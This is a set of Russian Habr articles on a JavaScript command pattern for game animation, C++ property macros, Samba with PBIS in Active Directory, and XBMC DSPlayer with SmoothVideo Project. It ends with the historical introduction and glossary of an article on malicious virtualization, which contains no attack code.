При проектировании разработчик может столкнуться с проблемой: у существ и объектов могут быть разные способности в разных сочетаниях. Лягушки прыгают и плавают, утки плавают и летают, но не с гирей, а лягушки могут летать с веткой и утками. Поэтому удобно перейти от наследования к композиции и добавлять способности динамически. Необходимость анимировать летающих лягушек привела к неоправданному отказу от методов способностей и выносу их кода в команды в одной из реализаций. Вот она:
```
class CastSpellCommand extends Command {
constructor (source, target, spell) {
this.source = source;
this.target = target;
this.spell = spell;
}
execute () {
const spellAbility = this.source.getAbility(SpellCastAbility);
// может быть много совершенно разных if (!cond) return error
if (spellAbility == null) {
throw new Error('NoSpellCastAbility');
}
this.addChildren(new PayManaCommand(this.source, this.spell.manaCost));
this.addChildren(this.spell.getCommands(this.source, this.target));
// из другой команды:
healthAbility.health = Math.max( 0, resultHealth );
}
}
// отрисовка:
async onMeleeHit (meleeHitCommand) {
await view.drawMeleeHit( meleeHitCommand.source, meleeHitCommand.target );
}
async onDealDamage (dealDamageCommand) {
await view.showDamageNumbers( dealDamageCommand.target, dealDamageCommand.damage );
}
```
### Что можно сделать?
Рассмотрим несколько подходов разного характера:
#### Наблюдатель
```
class Executor extends Observer {/* ... */}
class Animator extends Observer {/* ... */}
```
Классическое, хорошо известное программистам решение. Понадобится лишь минимально изменить его, чтобы проверять значения, возвращаемые наблюдателями:
```
this.listeners.reduce((result, listener) => result && listener(action), true)
```
Недостаток: наблюдатели должны подписываться на события в правильном порядке.
Если сделать обработку ошибок, аниматор сможет также показывать анимации не удавшихся действий. Можно передавать наблюдателям предыдущее значение, концептуально решение остается тем же. Вызываются ли методы наблюдателей или callback-функции, используется ли вместо свертки обычный цикл — детали не так существенны.
#### Оставить как есть
И в самом деле. У текущего подхода есть как недостатки, так и достоинства:
1. Проверка возможности выполнения команды требует выполнения команды
2. Жестко зашиты аргументы в меняющемся порядке, условия, префиксы методов
3. Циклические зависимости (команда < заклинание < команда)
4. Дополнительные сущности на каждое действие (метод заменен методом, классом и его конструктором)
5. Чрезмерные знания и действия отдельной команды: от игровой механики до ошибок синхронизации и прямой манипуляции чужими свойствами
6. Интерфейс вводит в заблуждение (execute не только вызывает, но и добавляет команды через addChildren; который, очевидно, делает наоборот)
7. Сомнительная необходимость и реализация рекурсивных команд как таковых
8. Класс-диспетчер, если он есть, не выполняет свои функции
9. [+] Якобы единственный способ анимации на практике, если анимации нужны полные данные (указано в качестве основной причины)
10. [+] Вероятно, иные причины
С частью недостатков можно разобраться отдельно, но остальные требуют более кардинальных изменений.
#### ad hoc
* Условия выполнения команды, тем более игровая механика, должны быть вынесены из команд и оформлены отдельно. Условия могут меняться в рантайме, а выделение неактивных кнопок серым цветом встречается на практике задолго до того, как начинается работа над анимацией, не говоря уже о логике. Чтобы избежать копирования, может иметь смысл хранить общие условия в прототипах способностей.
* Вернуть методы, в сочетании с предыдущим пунктом отпадет необходимость таких проверок:
```
const spellAbility = this.source.getAbility(SpellCastAbility);
// может быть много совершенно разных if (!cond) return error
if (spellAbility == null) {
throw new Error('NoSpellCastAbility');
}
```
Джаваскриптовый движок сам покажет правильный TypeError при ошибочном вызове метода.
* Такие знания команде тоже не нужны:
```
healthAbility.health = Math.max( 0, resultHealth );
```
* Чтобы решить проблему аргументов, меняющихся местами, их можно передавать объектом.
* Хотя вызывающий код не доступен для изучения, по видимому, большая часть недостатков произрастает из-за неоптимального способа вызова игровых действий. Например, обработчики на кнопках обращаются к каким-то конкретным сущностям. Поэтому замена их в обработчиках на конкретные команды кажется вполне естественной. При наличии диспетчера, вызвать за действием анимацию намного проще, ей можно передать ту же информацию, так что недостатка в данных у нее не будет.
#### Очередь
Чтобы показывать анимацию действия после выполнения действия, достаточно добавлять их в очередь и запускать примерно так, как в решении 1.
```
[
[ walkRequirements, walkAction, walkAnimation ],
[ castRequirements, castAction, castAnimation ],
// ...
]
```
Не имеет значения, какие сущности лежат в массиве: функции, забинженные с нужными параметрами, экземпляры пользовательских классов или обычные объекты.
Ценность такого решения — простота и прозрачность, легко сделать скользящее окно для просмотра N последних команд.
Хорошо подходит для прототипирования и отладки.
#### Класс-дублер
Делаем класс анимаций для способности.
```
class MovementAbility {
walk (...args) {
// action
}
}
class AnimatedMovementAbility {
walk (...args) {
// animation
}
}
```
Если внести изменения в вызывающий класс нельзя, наследуемся от него или декорируем нужный метод, чтобы он вызывал анимацию. Или передаем анимацию вместо способности, у них же одинаковый интерфейс.
Хорошо подходит, когда нужен фактически тот же набор методов, их можно автоматически проверить и протестировать.
#### Комбинации методов
```
const AnimatedMovementAbility = combinedClass(MovementAbility, {
['*:before'] (method, ...args) {
// call requirements
},
['*:after'] (method, ...args) {
// call animations
}
})
```
Было бы интересной возможностью при нативной поддержке языком.
Хорошо использовать, если такой вариант получается производительнее, хотя на самом деле нужен прокси.
#### Прокси
Оборачиваем способности в прокси, отлавливаем в геттере методы.
```
new Proxy(new MovementAbility, {/* handler */})
```
Недостаток: многократно медленнее обычных вызовов, что для анимации не так существенно. На сервере, обрабатывающем миллионы объектов, замедление было бы заметно, но на сервере не нужна анимация.
#### Promise
Можно конструировать цепочки из Promise, но есть и другой вариант (ES2018):
```
for await (const action of actionDispatcher.getActions()) {
//
}
```
getActions возвращает асинхронный итератор по действиям. Метод next итератора возвращает Deferred Promise следующего действия. После обработки событий от пользователя и сервера, вызываем resolve(), создаем новый promise.
#### Команда получше
Создаем объекты наподобие такого:
```
{actor, ability, method, options}
```
Код сводится к проверке и вызову метода способности с параметрами. Самый простой и производительный вариант.
#### Примечание
* [Источник примера команды](https://habr.com/ru/post/438510/) | https://habr.com/ru/post/439506/ | null | ru | null |
# Реализация свойств в С++
Всем привет! При реализации проектов разработчикам часто нужны классы, которые содержат только поля и не имеют никаких функций. Такие классы полезны для сохранения нужной информации с последующем их манипуляциями.
Первый подход в реализации таких классов основан на использовании С структур. Как недостаток этого подхода, это то что все поля доступные на запись и чтения, что не всегда хорошо.
```
struct person {
int id;
human type;
std::string name;
std::string address[5];
bool merried;
};
```
Второй подход основан на скрытии всех полей и предоставлении для полей геттеров и сеттеров. Этот подход ярко используется в языке Java. В качестве преимущества можно выделить то, что мы можем управлять доступом к полям. К недостаткам можно отнести, то что класс стает большим, а геттеры и сеттеры не несут логической нагрузки.
```
class person {
public:
void set_id(int id) {
this->id = id;
}
int get_id() const {
return id;
}
void set_merried(bool merried) {
this->merried = merried;
}
bool is_merried() const {
return merried;
}
void set_type(human type) {
this->type = type;
}
human get_type() const {
return type;
}
void set_name(const std::string& name) {
this->name = name;
}
const std::string& get_name() const {
return name;
}
private:
int id;
human type;
std::string name;
std::string address[5];
bool merried;
};
```
В случае если поле типа класса, иногда нужно устанавливать объект по значению, по lvalue-ссылке, по rvalue-ссылке. А также с применением модификаторов const/volatile.
```
class person {
public:
void set_name(const std::string& name) {
this->name = name;
}
void set_name(std::string&& name) {
this->name = std::move(name);
}
const std::string& get_name() const {
return name;
}
private:
int id;
human type;
std::string name;
std::string address[5];
bool merried;
};
```
Много языков поддерживают свойства как языковую фичу. Написание кода становиться чище и надежнее. Чтобы упростить написание геттеров и сеттеров можно использовать макросы для генерации кода.
```
#define SETTER_PRIM(type, name) \
void set_##name(type value) { \
this->name = value; \
}
#define GETTER_PRIM(type, name) \
type get_##name() const { \
return name; \
}
```
Но использование макросов опасно. Мы можем не верно указать тип (type) или переменную не того типа (name). В лучшем случае получим ошибку времени исполнении при использовании геттеров и сеттеров. В худшем случае ошибка останется.
Хотелось чтобы мы могли генерировать геттеры и сеттеры, но при этом могли проверить корректность типа (type), корректность типа переменой (name) и чтобы типы были равны. И это можно сделать начиная с С++11 используя type\_traits стандартной библиотеки.
```
#define SETTER_PRIM(type, name) \
void set_##name(type value) { \
using T1 = type; \
using T2 = decltype(name); \
static_assert(std::is_fundamental::value, \
"only primitive types"); \
static\_assert(std::is\_fundamental::value, \
"variable must be primitive"); \
static\_assert(std::is\_same::value, \
"both types must be same"); \
this->name = value; \
}
#define GETTER\_PRIM(type, name) \
type get\_##name() const { \
using T1 = type; \
using T2 = decltype(name); \
static\_assert(std::is\_fundamental::value, \
"only primitive types"); \
static\_assert(std::is\_fundamental::value, \
"variable must be primitive"); \
static\_assert(std::is\_same::value, \
"both types must be same"); \
return name; \
}
```
Используя данный подход можно реализовать геттеры и сеттеры для всех типов полей класса.
* примитивных типов
* объектных типов
* перечисления
* массива
* указателей
* ссылок
Все макросы для геттеров и сеттеров реализовал в виде header-only библиотеки. Подключив только один заголовочный файл можно легко реализовать дата класс со всеми необходимыми геттерами и сеттерами.
```
#include "property.hpp"
class person {
public:
person() = default;
~person() = default;
SETTER_PRIM(int, id);
SETTER_FLAG(bool, merried);
SETTER_ENUM(human, type);
SETTER_PTR(int, next);
SETTER_ARR(std::string, address, 3);
SETTER_OBJ_LR(std::string, name);
SETTER_OBJ_CLR(std::string, name);
SETTER_OBJ_RR(std::string, name);
GETTER_PRIM(int, id);
GETTER_FLAG(bool, merried);
GETTER_ENUM(human, type);
GETTER_OBJ_LR(std::string, name);
GETTER_OBJ_CLR(std::string, name);
GETTER_PTR(int, next);
GETTER_ARR(std::string, address);
private:
int id;
human type;
std::string name;
std::string address[5];
bool merried;
int* next;
};
```
Исходный код библиотечки с открытым кодом можно посмотреть вот по этой [ссылке](https://github.com/klappdev/cppproperty). | https://habr.com/ru/post/459212/ | null | ru | null |
# Samba 3 файловый сервер в домене Active Directory
Как обещал в [прошлой статье](http://habrahabr.ru/post/174407/), сегодня напишу как настроить файловый сервер на базе Samba 3 для пользователей домена Active Directory.
В чём отличие данной инструкции от, например, [этой](http://habrahabr.ru/post/172115/)? Мы сегодня не будем использовать winbind. Наш kerberos клиент будет работать с kdc своего сайта AD и нам не потребуется заботится о его перенастройке при смене сайта.
Предполагается, что перед выполнением описанных действий Linux сервер [введён в домен как было описано ранее](http://habrahabr.ru/post/174407/).
##### Подготовка
Напомню, что получить Open версию PowerBroker Identity Services можно на [сайте производителя](http://www.beyondtrust.com/Resources/OpenSourceDocumentation/), но ссылку Вам предоставят в обмен на Ваше имя, название компании и e-mail.
Существуют 32-х и 64-х пакеты в форматах rpm и deb. (А также пакеты для OS X, AIX, FreeBSD, SOlaris, HP-UX).
Программа поставляется в виде самораспаковывающегося архива с пакетом, соответствующим выбранной системе.
На Debian-based системах пакет устанавливает свои файлы в /opt/pbis/.
Для ввода компьютера в домен можно воспользоваться одной из двух утилит: /opt/pbis/bin/domainjoin-cli или /opt/pbis/bin/domainjoin-gui
Естественно перед вводом в домен имеет смысл настроить ntp клиент на синхронизацию времени с контроллером домена (либо с сервером времени, с которым синхронизируется ваш PDC эмулятор).
Для интеграции с samba в комплекте с PBIS имеется утилита **samba-interop-install**
```
# /opt/pbis/bin/samba-interop-install --help
Usage: /opt/pbis/bin/samba-interop-install {options} [smbd path]
Installs interop libraries into directories used by Samba and copies the
machine password from the PowerBroker Identity Services' database to Samba's.
Options are:
--help Show this help message
--install Configure smbd to use interop libraries
--uninstall Deconfigure smbd's use of interop libraries
--check-version Ensure the version of smbd is supported
--loglevel {level} Set the logging to error (default), warning, info,
verbose, or debug
One of the options, --install, --uninstall, or --check-version must be passed.
The last argument is the path to smbd. If not specified, it will be
automatically detected.
```
Она позволит нам выполнить некоторые подготовительные операции. PBIS поддерживает интеграцию не со всеми версиями smaba. Поддерживаются версии: 3.0.25 и новее из линейки 3.0.X, 3.2.X, 3.4.X, 3.5.X, 3.6.X. Но без winbind будут работать только версии samba 3.2.X, 3.5.X, 3.6.X (согласно документации, я проверял на samba 3.6.X).
Для проверки поддерживает ли PBIS установленную версию Samba стоит выполнить:
```
# /opt/pbis/bin/samba-interop-install --check-version
Found smbd version 3.6.6
Samba version supported
```
Как видно — установленная у меня версия samba поддерживается. Можно настроить связь с samba:
```
# /opt/pbis/bin/samba-interop-install --install --loglevel debug
[CheckSambaVersion() /builder/src-buildserver/Platform-7.1/src/linux/samba-interop/tools/samba-interop-install.c:500] Found smbd version 3.6.6
[InstallWbclient() /builder/src-buildserver/Platform-7.1/src/linux/samba-interop/tools/samba-interop-install.c:587] Link /usr/lib/x86_64-linux-gnu/libwbclient.so.0 already points to /opt/pbis/lib/libwbclient.so.0
[AddSambaLoadPath() /builder/src-buildserver/Platform-7.1/src/linux/samba-interop/tools/samba-interop-install.c:1100] Samba is already in the load order
[SetPassword() /builder/src-buildserver/Platform-7.1/src/linux/samba-interop/pstore-plugin/samba-pstore-plugin.c:459] Wrote machine password for domain CORP in secrets.tdb
Install successful
```
Здесь я специально запустил команду в режиме отладки, чтобы было видно чем занимается samba-interop-install: подменяет для samba библиотеку libwbclient.so.0 на свою, убеждается, что samba запускается при старте системы, сохраняет пароль учётной записи компьютера в хранилище samba.
##### Конфигурация Samba
Теперь необходимо сконфигурировать samba. В smb.conf должны быть строки:
```
[global]
security = ADS
workgroup = CONTOSO
realm = CONTOSO.COM
machine password timeout = 0
```
Причём важна строка «machine password timeout = 0» она не позволит samba сменить пароль учётной записи компьютера.
далее создаём общий рессурс:
```
[shared-folder]
comment = Test shared folder
path = /home/shared-folder
valid users = CONTOSO\User1, CONTOSO\User2, @CONTOSO\Администраторы^домена
read only = No
```
##### Финал
Не забываем проверить настройки:
```
# testparm
```
Если всё в порядке перезапускаем samba.
Пробуем открыть только что настроенную общую папку с другого ПК.
И наслаждаемся результатом. | https://habr.com/ru/post/174497/ | null | ru | null |
# XBMC 12.3 DSPlayer + SmoothVideo Project = мечты сбываются
Доброго всем здравия уважаемые хабражители.
Поискав немного по обоим темам [XBMC](http://habrahabr.ru/search/?q=XBMC) + [SVP](http://habrahabr.ru/search/?q=SVP) понял, что обе имеют достаточное количество поклонников и интересующихся.
Многие знают XBMC, некоторые знают SVP. А вот что такое DSPlayer и как их использовать вместе думаю, будет интересно почитать хотя бы для общего развития.
Итак, всех желающих прошу под хабракат.
#### 1. XBMC DSPlayer
**XBMC DSPlayer это основаный на DirectShow плеер для [XBMC](http://xbmc.org/).**
DSPlayer поддерживает аппаратное ускорение DXVA (работает в Windows XP, Vista и 7, 8), DXVA2 (только Vista, 7, 8), а также подключение любых пользовательских фильтров DirectShow (FFDShow, AC3Filter, AVSplitter, Haali Media Splitter ...).
Для вывода видео используются видеорендеры VMR9 (Win XP) и EVR (Win Vista, 7, 8) от плеера MPC-HC с возможностью тонкой настройки видео рендеринга.
Кроме того DSPlayer — это единственная возможность обеспечить совместную работу XBMC с пакетом уплавления проигрывания видео SmoothVideo Project (SVP).
При этом вся остальная функциональность XBMC осталась без изменений, так как DSPlayer полностью интегрирован с интерфейсом XBMC.
Первоначально работу над DSPlayer начал 0wing разместив на официальном форуме [тему](http://forum.xbmc.org/showthread.php?tid=106629) и выложив код на [github](https://github.com/0wing/xbmc).
Буквально через 10 дней я [наткнулся](http://forum.xbmc.org/showthread.php?tid=106629&pid=859075#pid859075) на эту разработку и могу сказать, что пользуюсь нею до сих пор.
Со временем разработчик забросил свою работу, и если бы не наш соотечественник, продолживший его труд, то такой замечательный продукт так бы и заглох.
Кто-то знает его как Eduard\_K, кто-то как viod.
**Основные исправления и дополнения:**
— Исправлена проблема с перемоткой и навигация мышью по прогресс-бару.
— Более надежное построение графов.
— Возможность включения DSPlayer через GUI.
— Возможность использовать системные DirectShow фильтры.
— Поддержка Blu-ray title (только с AVSplitter).
— Поддержка Matroska Editions (только с AVSplitter и Haali Splitter).
— Улучшен механизм соединения фильтров.
— Поддержка iMON LCD/VFD дисплеев.
Скрины основных моментов:
 
[Реозиторий](http://git.avmedia.su/git/?p=xbmc.git;a=summary)
Официальные исправления XBMC Frodo 12.2 до версии 12.3 XBMC 12.3 – Frodo fixes!
В сборки DSPlayer добавлено расширенное меню выбора аудио дорожек и субтитров.
А также исправления:
++ Баг с созданием миниатюр в окне закладок.
++ Сохранение настроек в окне Video Settings для PVR каналов.
++ Определение Refresh Rate.
++ Переключение PVR каналов из окна класса CGUIDialogPlayerControls.
Скачать:
XBMC DSPlayer 12.3 “Frodo”
[XBMCSetup-20131228-c748d5e-dsplayer\_12.3-Frodo.exe](http://goo.gl/0pNR4p) 53,2 МБ (55 842 373 байт)
XBMC DSPlayer 13.1 “Gotham” (Russian custom build)
Сборка включает:
++русская виртуальная клавиатура.
++seppius-xbmc-repo [code.google.com/p/seppius-xbmc-repo](http://code.google.com/p/seppius-xbmc-repo/)
[XBMCSetup-20140606-8486343-Gotham\_dsplayer\_RU.exe](https://cloud.mail.ru/public/eda8bc69957e/XBMCSetup-20140606-8486343-Gotham_dsplayer_RU.exe)
Как пользоваться DSPlayer-ом в оригинале <http://wiki.xbmc.org/?title=HOW-TO:_Using_DSPlayer>
Как пользоваться DSPlayer-ом в моем переводе [Настройка\_DSPlayer](http://xbmc.ru/wiki/index.php?title=%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_DSPlayer)
#### 2. SmoothVideo Project (SVP)
Напомню немного что это такое.
SVP позволяет смотреть кино на компьютере с максимальной плавностью и высокой динамической четкостью, при этом плавность движений обеспечивается добавлением в видеоряд новых кадров, содержащих промежуточные положения объектов.
На сегодня подобные технологии используются в телевизорах среднего и проекторах высшего ценового диапазона, при этом SVP имеет несколько ключевых преимуществ:
— SVP абсолютно бесплатен и лишен любой рекламы, вывод видео через SVP можно настроить на любое средство просмотра в доме/квартире, SVP дает большую плавность, чем большинство аппаратных технологий, и имеет максимально гибкие настройки,
— работа SVP не ограничена форматами входного «сигнала», он работает с любым видео, включая 3D.
— SVP может использовать силу современных видеокарт, поддерживающих открытый стандарт OpenCL, для снижения нагрузки на процессор и увеличения качества расчета, при этом поддерживаются все современные видеокарты AMD и NVIDIA.
Более детально можно почитать тут <http://www.svp-team.com/wiki/Main_Page/ru>
#### 3. Скрещивание
Из Вики XBMC мы уже знаем, что настройки фильтров производится в файле filtersconfig.xml, а настройка привязки фильтров к контейнерам в файле mediasconfig.xml. Файлы расположены в директории установки XBMC system\players\dsplayer\.
Для получения результата необходима чистая, незагаженая всякими К-Лайтами система, установленый SVP, AVSplitter, XBMC DSPlayer.
В конфигах плеера необходимо прописать дополнительные фильтры, которые работают с SVP.
Привожу свой конфиг, при котором возможен как аппаратное декодирование тяжелого видео так и уплавление его видеокартой.
Для того, чтобы начать разбираться с DSPlayer и его работой совместно с SVP, достаточно скопировать приведенный ниже код в стандартные файлы конфигурации. Единственное, что стоит еще упомянуть, так это необходимость настроить в декодере FFdshow RAW обработку всех типов видео.
Так же, в конфиге используется декодер LAV Video для аппаратного декодирования видеопотока. Чтобы FFdshow RAW его смог перехватить и обработать надо в настройках декодера для видеокарт AMD выставить режим DXVA2 (copy-back) чтобы кадры возвращались обратно в память. Для владельцев карт nVidia есть выбор между режимом DXVA2 (copy-back) и NVIDIA CUVID который дает некоторые плюшки в виде адаптивного аппаратного деинтерлейсинга, высококачественной обработки деинтерлейса, и аппаратного ускорения MPEG-4 видео. Выбирать надо в зависимости от мощности карты. Обычно опытным путем, потому что зависит сильно от остальной конфигурации компьютера. Владельцы Intel видеокарт так же могут выбрать или DXVA2 (copy-back) или родной Quic Sync который как и nVidia дает дополнительные возможности в виде аппаратного деинтерлейсинга.
И наконец, необходимо в настройках XBMC сделать DSPlayer плеером по умолчанию и отключить настройку «Использовать системные фильтры».
Прелесть в том, что этот конфиг каждый может написать для себя, с учетом своих пожеланий и предпочтений.
**filterconfig.xml**
```
LAVSplitter.ax
{B98D13E7-55DB-4385-A33D-09FD1BA26338}
LAV Splitter Source
{D8980E15-E1F6-4916-A10F-D7EB4E9E10B8}
AV Source
LAVSplitter.ax
{171252A0-8820-4AFE-9DF8-5C92B2D66B04}
LAV Splitter
{529A00DB-0C43-4F5B-8EF2-05004CBE0C6F}
AV Splitter
{EE30215D-164F-4A92-A4EB-9D4C13390F9F}
LAV Video Decoder
{0B390488-D80F-4A68-8408-48DC199F0E97}
FFdshow RAW
{E8E73B6B-4CB3-44A4-BE99-4F7BCB96E491}
LAV Audio Decoder
```
**mediasconfig.xml**
```
```
Подставляя разрешения в раздел «extra» можно регулировать разрешения видео к которым будет применяться уплавление.
Спасибо за внимание. | https://habr.com/ru/post/181598/ | null | ru | null |
# Виртуалка-камуфляж: Вредоносный подход к виртуализации
Виртуализация – это палка о двух концах
Победоносное развитие облаков в последние годы можно связать с постепенным совершенствованием сразу множества технологий, относящихся как к аппаратному, так и к программному обеспечению. Но, наверное, наиболее известна технология, в которой две эти области смыкаются: речь о виртуализации. Упрощенно говоря, виртуализация – это акт абстрагирования аппаратных компонентов (например, процессора, памяти, дисковых приводов, т.д.) и представления их на программном уровне, который динамичнее аппаратного и лучше масштабируется. Данная ключевая характеристика виртуализации располагает к созданию заказных, надежных, высоко доступных онлайновых сервисов, используемых по требованию – сегодня это называется «облако».
Однако, в этой великой технологии, выводящей на новые парадигмы, кроется и темная сторона. Есть производители облаков, годами извлекавшие пользу из того абстрагирования, что обеспечивается при помощи виртуализации и применяется, чтобы вас защитить, а есть и злоумышленники, вскоре осознавшие, как виртуализацию можно обратить против вас. В последние годы наблюдаются некоторые угрозы – одни из них лишь продуманы концептуально, другие уже встречаются на практике – применяющиеся при вторжениях для маскировки вредоносной активности. Это «деструктивная виртуализация» или, как мы ее называем, «виртуальный камуфляж».
В этой публикации мы расскажем, кто может стать жертвой таких приемов, дадим обзор исследований, направленных на понимании этого сегмента угроз с учетом новейших приемов виртуализации, подробно разобравшись в «vCloak» (виртуальном камуфляже) для Linux. Это PoC-проект, позиционируемый как «доказательство осуществимости». Мы создадим многоуровневое закамуфлированное вредоносное ПО, которое будет незаметным и минималистичным, но все равно будет обладать той портируемостью, персистентностью и надежностью, для достижения которых применяется виртуализация. Мы хотим развеять мифы, касающиеся этого нового вектора атак и помочь вам лучше понять, как устроен этот новый вектор атак, и объяснить, каким образом злоумышленник может воспользоваться виртуализацией в качестве оружия. Не поленитесь дочитать: в качестве бонуса мы расскажем и о некоторых способах смягчения вредоносности этих атак.
Предыстория виртуализации
-------------------------
Как упоминалось выше, виртуализация – это акт абстрагирования аппаратного обеспечения. Но, чтобы лучше понять материал этого поста, нужно углубиться в тему немного сильнее. Итак, давайте перенесемся к тому моменту, с которого началась эпоха виртуализации. Идея виртуализовать аппаратное обеспечение не нова; ее корни можно проследить до 1960-х, когда IBM потратила немало сил на реализацию новой концепции под названием «разделение времени» (рис. 2).В простейшем виде концепция сводится к следующему: пользователи могут совместно использовать процессор благодаря непрерывному сверхскоростному переключению контекстов. К этой идее удалось прийти, заметив, что каждый пользователь успевает потребить лишь малую толику потенциала всего компьютера. Учитывая, что в те времена компьютер занимал целую комнату и стоил около 20 миллионов долларов США (с поправкой на инфляцию), казалось целесообразным использовать его на полную. Современная виртуализация опирается на тот же принцип – совместное использование ресурсов машины, но с поддержанием логического разделения.
*Рис. 1: Пульт управления IBM 7094, где была впервые реализована концепция разделения времени (*изображение принадлежит пользователю Wikipedia [ArnoldReinhold](https://en.wikipedia.org/wiki/IBM_7090#/media/File:IBM_7094_console2.agr.JPG), лицензировано под [Creative Commons BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/)*)*
С чего начиналась современная виртуализация
-------------------------------------------
В статье «[*Formal Requirements for Virtualizable Third Generation Architectures*](https://dl.acm.org/doi/10.1145/361011.361073)*« («Формальные требования к виртуализируемым архитектурам третьего поколения»)* Джеральд Попек и Роберт Голдберг ввели первую четко определенную модель виртуализации, заложившую основы концепций, применяемых по сей день (рисунок 3). В этой статье были представлены некоторые базовые требования к виртуализации, а также классифицированы и проанализированы различные машинные команды. Ниже в формате шпаргалки дан обзор вышеупомянутых концепций.
1971 Representation // Как виртуализацию видели в 1971
Modern Representation // Современное представление
VMM // Монитор виртуальной машины
Hardware // Железо
VM // Виртуальная машина
Applications // Приложения
Operating System // Операционная система
Virtual Machine // Виртуальная машина
Virtual Machine Monitor // Монитор виртуальной машины
Physical Machine/Hardware // Физическая машина/железо
*Рисунок 2: Сравнение: представление Попека и Голдберга vs современное обобщенное представление (взято из*[*usenix*](https://www.usenix.org/legacy/event/usenix01/sugerman/sugerman_html/img4.png)*)*
Глоссарий по виртуализации
--------------------------
* **Гипервизор/VMM (Монитор виртуальной машины) –** «мозг», обеспечивающий виртуализацию: он абстрагирует, изолирует виртуальное аппаратное железо и управляет им.
* **Хост-машина**– машина (физическая или виртуальная), на которой выполняется VMM
* **Гость /VM/Виртуальная машина –**машина, основанная на абстрактном аппаратном обеспечении и изолированном программном, предоставляемом machine VMM
* **Кольца защиты**:
* Четыре периметра (кольцо 0 – кольцо 3) иерархии предметной области, обеспечиваемые на аппаратном уровне
* Применяется для отграничения пространства ядра (обычно кольцо 0) от пользовательского пространства (обычно кольцо 3) или гостевой VM от хостовой VM/VMM
* Железо проверяет текущий уровень привилегий ([CPL](https://en.wikipedia.org/wiki/X86_memory_segmentation#Detailed_Segmentation_Unit_Workflow)), указанный в [CS](https://en.wikipedia.org/wiki/Code_segment) (сегменте с кодом) выполняющего процесса, сравнивая этот показатель с [DPL](https://en.wikipedia.org/wiki/X86_memory_segmentation#Detailed_Segmentation_Unit_Workflow) (уровнем привилегий дескриптора), относящимся к целевой области памяти
* **Привилегированные инструкции**:
* Как правило, необходимо выполнять в кольце 0
* Управляют критически важным низкоуровевым исполнением ([HLT](https://x86.puri.sm/html/file_module_x86_id_134.html), [LIDT](https://x86.puri.sm/html/file_module_x86_id_156.html))
* Отображение в памяти ([INVLPG](https://x86.puri.sm/html/file_module_x86_id_144.html))
* Чтение/запись в специальные регистры ([RDMSR](https://x86.puri.sm/html/file_module_x86_id_276.html), [WRMSR](https://x86.puri.sm/html/file_module_x86_id_326.html), [MOV](https://x86.puri.sm/html/file_module_x86_id_176.html) [CR](https://en.wikipedia.org/wiki/Control_register)x)
* Могут предоставлять неограниченный доступ к хостовой OS
* **Чувствительные инструкции** — чтение и запись в MMIO (ввод-вывод через память) и устройства ввода/вывода ([IN](https://x86.puri.sm/html/file_module_x86_id_139.html)/[OUT](https://x86.puri.sm/html/file_module_x86_id_222.html), [MOV](https://x86.puri.sm/html/file_module_x86_id_176.html) )
Эти инструкции действуют по-разному в зависимости от того, в каком кольце защиты находятся ([POPF](https://x86.puri.sm/html/file_module_x86_id_250.html))
Могут предоставлять неограниченный доступ через гостевую VM
* **Инструкции перехвата** – перехват команд и перенаправление логики управления
* **Эмуляция** – Программы, действующие как «имитация» аппаратного обеспечения с издержками на трансляцию
* **Полная виртуализация**:
* Критически важные инструкции, обнаруживаемые статически или динамически и заменяемые прерываниями, которые инициируют эмулированное выполнение
* Работает весьма медленно из-за издержек, связанных с эмуляцией
* **Паравиртуализация**:
* Эмуляция с учетом присутствия гостевой системы, заменяющая чувствительные инструкции API-вызовами к гостю
* Работает весьма быстро, но при этом негибко, поскольку гостя нужно модифицировать
* **Виртуализация с аппаратной поддержкой** –
* Абстрагирование и поддержка чувствительных инструкций с поддержкой на уровне железа
* Наиболее эффективный вариант, но зависит от архитектуры (напр., x86 vs AMD)
*Рисунок 3: Типы виртуализации*
Virtualization // Виртуализация
Bare metal hypervisors // Гипервизоры для голого железа
Hosted Hypervisors // Хостовые гипервизоры
Emulators // Эмуляторы
Hardware virtualiaztion // Аппаратная виртуализация
Интуитивное представление о виртуализации
-----------------------------------------
В вышеприведенном глоссарии, как и в любой шпаргалке, для полноты восприятия не хватает контекста, зато много модных словечек (см. рис. 4). Мы попытаемся обобщить важнейшие из перечисленных элементов, пожертвовав некоторыми деталями для большей ясности. Как понятно из глоссария, один из самых сложных участков работы при виртуализации связан с обработкой привилегированных/чувствительных инструкций.
Привилегированными называются такие инструкции, которые позволяют вызывающей стороне получить контроль над критически важными ресурсами. Они принципиально важны для защиты системы от вредоносных действий и неконтролируемых программ из пользовательского пространства. Таковы, например, инструкции HLT (контроль потока выполнения в CPU с возможностью приостановки), влияние на отображение в памяти путем инвалидации страничных записей в [буфере ассоциативной трансляции](https://ru.wikipedia.org/wiki/%D0%91%D1%83%D1%84%D0%B5%D1%80_%D0%B0%D1%81%D1%81%D0%BE%D1%86%D0%B8%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D0%BE%D0%B9_%D1%82%D1%80%D0%B0%D0%BD%D1%81%D0%BB%D1%8F%D1%86%D0%B8%D0%B8) (INVLPG) или доступ к специальным регистрам (RDMSR, WRMSR, MOV CR). Привилегированные инструкции могут предоставить неограниченный доступ хост-машине (например, контроль над всеми [обработчиками прерываний](https://en.wikipedia.org/wiki/Interrupt_handler)).
Чувствительные инструкции можно трактовать как инструкции, привилегированные «с точки зрения» гостя. К их числу относятся такие операции как взаимодействие с устройствами ввода/вывода (IN/OUT), запись в регистры, отображаемые в память (MOV ) или такие инструкции, которые работают по-разному в зависимости от того, в каком кольце защиты выполняются; такова, например, запись в регистр [EFLAGS](https://en.wikipedia.org/wiki/FLAGS_register) (POPF). Чувствительные инструкции могут предоставить неограниченный доступ к гостевой машине (например, запись непосредственно в устройства ввода/вывода и получение хост-привилегий).
Кольца защиты применяются для перехвата привилегированных инструкций и активации ядра для обработки их выполнения. Однако не так давно еще не существовало аппаратной поддержки для подобного подхватывания чувствительных инструкций, что не обязательно представляет опасность для хоста, но вот для гостя – та еще точка отказов. Приемы, основанные на работе с программным обеспечением, в частности, эмуляция с использованием статической или динамической двоичной трансляции или паравиртуализации через модификацию гостя применяются, но ценой серьезного снижения производительности/гибкости.
